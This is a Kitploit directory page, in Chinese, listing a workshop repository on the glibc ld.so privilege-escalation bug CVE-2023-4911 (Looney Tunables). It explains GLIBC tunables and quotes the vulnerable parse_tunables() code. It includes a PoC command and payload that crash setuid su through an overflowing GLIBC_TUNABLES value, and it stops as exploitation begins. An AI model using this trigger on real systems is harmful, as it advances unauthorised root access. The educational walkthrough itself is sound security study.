Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-4911 — Looney Tunables本地权限提升(CVE-2023-4911)工作坊 | Kitploit
工具/GitHubGitHub/kernelkrise/cve-2023-4911
权限提升漏洞分析漏洞利用学习与教育二进制利用实验室与实践Archived
GitHubkernelkrise/cve-2023-4911

CVE-2023-4911

Looney Tunables本地权限提升(CVE-2023-4911)工作坊

查看仓库
183102年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2023-4911-Looney-Tunables

Looney Tunables 本地权限提升 (CVE-2023-4911) 演练(仅供教育用途)

Links:

  • IPPSEC 视频
  • Qualsys 博客文章
  • Qualsys 技术细节
  • 漏洞利用 POC Python 脚本
  • GLIBC 源码
  • GLIBC tunables 文档

描述

什么是 ld.so?

在计算机领域,动态链接器是操作系统的一部分,它在可执行文件执行时加载和链接所需的共享库,通过将库的内容从持久存储复制到 RAM,填充跳转表并重定位指针。

例如,我们有一个程序使用 openssl 库来计算 md5 哈希:``` $ head md5_hash.c #include <stdio.h> #include <string.h> #include <openssl/md5.h>

ld.so 解析二进制文件并尝试查找与 `<openssl/md5.h>` 相关的库```
$ ldd md5_hash                       
        linux-vdso.so.1 (0x00007fffa530b000)
        libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)

正如我们所见,它会在 /lib/x86_64-linux-gnu/libcrypto.so.3 找到必要的加密库。
在程序启动期间,它会将这个库的代码加载到进程内存中,并将所有对该库的引用链接起来。

总结

当程序启动时,加载器首先检查程序以确定其所需的共享库。然后它会搜索这些库,将其加载到内存中,并在运行时与可执行文件进行链接。在此过程中,动态加载器解析符号引用(如函数和变量引用),确保程序执行所需的一切就绪。鉴于其作用,动态加载器在安全性方面非常敏感,因为当本地用户启动设置了用户ID或组ID的程序时,其代码会以提升的权限运行。

什么是 GLIBC Tunables?

Tunables 是 GNU C 库中的一个特性,允许应用程序作者和发行版维护者更改运行时库的行为以匹配其工作负载。它们实现为一组可以通过不同方式修改的开关。当前默认的方法是通过 GLIBC_TUNABLES 环境变量,将其设置为冒号分隔的 name=value 对字符串。例如,以下示例启用了 malloc 检查,并将 malloc 截断阈值设置为 128 字节:``` GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3 export GLIBC_TUNABLES

传递 --list-tunables 给动态加载器以打印所有可调参数及其最小值和最大值:```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)

漏洞描述

在其执行的起始阶段,ld.so 调用 __tunables_init() 来遍历环境变量(第 279 行),搜索 GLIBC_TUNABLES 变量(第 282 行);对于找到的每个 GLIBC_TUNABLES,它复制该变量(第 284 行),调用 parse_tunables() 处理并清理该副本(第 286 行),最后将原始的 GLIBC_TUNABLES 替换为该清理后的副本(第 288 行):```C // (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c) 269 void 270 __tunables_init (char **envp) 271 { 272 char *envname = NULL; 273 char *envval = NULL; 274 size_t len = 0; 275 char **prev_envp = envp; ... 279 while ((envp = get_next_env (envp, &envname, &len, &envval, 280 &prev_envp)) != NULL) 281 { 282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables 283 { 284 char new_env = tunables_strdup (envname); 285 if (new_env != NULL) 286 parse_tunables (new_env + len + 1, envval); // 287 / Put in the updated envval. */ 288 *prev_envp = new_env; 289 continue; 290 }

parse_tunables() 的第一个参数(tunestr)指向即将被清理的 GLIBC_TUNABLES 副本,而第二个参数(valstring)指向原始的 GLIBC_TUNABLES 环境变量(位于栈中)。为了清理 GLIBC_TUNABLES 的副本(其格式应为 "tunable1=`aaa:tunable2=bbb"`),parse_tunables() 会从 tunestr 中移除所有危险的 tunable(即 SXID_ERASE 类型的 tunable),但保留 SXID_IGNORE 和 NONE 类型的 tunable(位于第 221-235 行):```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172     {
173       char *name = p;
174       size_t len = 0;
175 
176       /* First, find where the name ends.  */
177       while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178         len++;
179 
180       /* If we reach the end of the string before getting a valid name-value
181          pair, bail out.  */
182       if (p[len] == '\0')
183         {
184           if (__libc_enable_secure)
185             tunestr[off] = '\0';
186           return;
187         }
188 
189       /* We did not find a valid name-value pair before encountering the
190          colon.  */
191       if (p[len]== ':')
192         {
193           p += len + 1;
194           continue;
195         }
196 
197       p += len + 1;
198 
199       /* Take the value from the valstring since we need to NULL terminate it.  */
200       char *value = &valstring[p - tunestr];
201       len = 0;
202 
203       while (p[len] != ':' && p[len] != '\0')
204         len++;
205 
206       /* Add the tunable if it exists.  */
207       for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208         {
209           tunable_t *cur = &tunable_list[i];
210 
211           if (tunable_is_name (cur->name, name))
212             {
...
219               if (__libc_enable_secure)
220                 {
221                   if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222                     {
223                       if (off > 0)
224                         tunestr[off++] = ':';
225 
226                       const char *n = cur->name;
227 
228                       while (*n != '\0')
229                         tunestr[off++] = *n++;
230 
231                       tunestr[off++] = '=';
232 
233                       for (size_t j = 0; j < len; j++)
234                         tunestr[off++] = value[j];
235                     }
236 
237                   if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238                     break;
239                 }
240 
241               value[len] = '\0';
242               tunable_initialize (cur, value);
243               break;
244             }
245         }
246 
247       if (p[len] != '\0')
248         p += len + 1;
249     }
250 }

不幸的是,如果 GLIBC_TUNABLES 环境变量格式为 "tunable1=tunable2=AAA"(其中 "tunable1" 和 "tunable2" 是 SXID_IGNORE 可调选项,例如 "glibc.malloc.mxfast"),那么:

  • 在 parse_tunables() 的第一次 while (true) 循环中, 整个 "tunable1=tunable2=AAA" 会被原地复制到 tunestr 中(第 221-235 行),从而填满 tunestr;

  • 在第 247-248 行,p 并未递增(p[len] 为 '\0',因为第 203-204 行未找到 ':'),因此 p 仍然指向 "tunable1" 的值,即 "tunable2=AAA";

  • 在 parse_tunables() 的第二次 while (true) 循环中,"tunable2=AAA" 被附加(如同第二个可调选项)到已满的 tunestr 上,从而导致 tunestr 溢出。

PoC

命令:```bash $ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=printf '%08192x' 1" /usr/bin/su --help Segmentation fault (core dumped)

有效载荷:```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001

漏洞利用

这个漏洞是一个直接的缓冲区溢出,但我们应该覆盖什么来实现任意代码执行?我们溢出的缓冲区是在第284行由 tunables_strdup() 分配的,这是 strdup() 的一个重新实现,使用了 ld.so 的 __minimal_malloc() 而不是 glibc 的 malloc()(实际上,glibc 的 malloc() 尚未初始化)。这个 __minimal_malloc() 实现只是调用 mmap() 从内核获取更多内存。

下载工具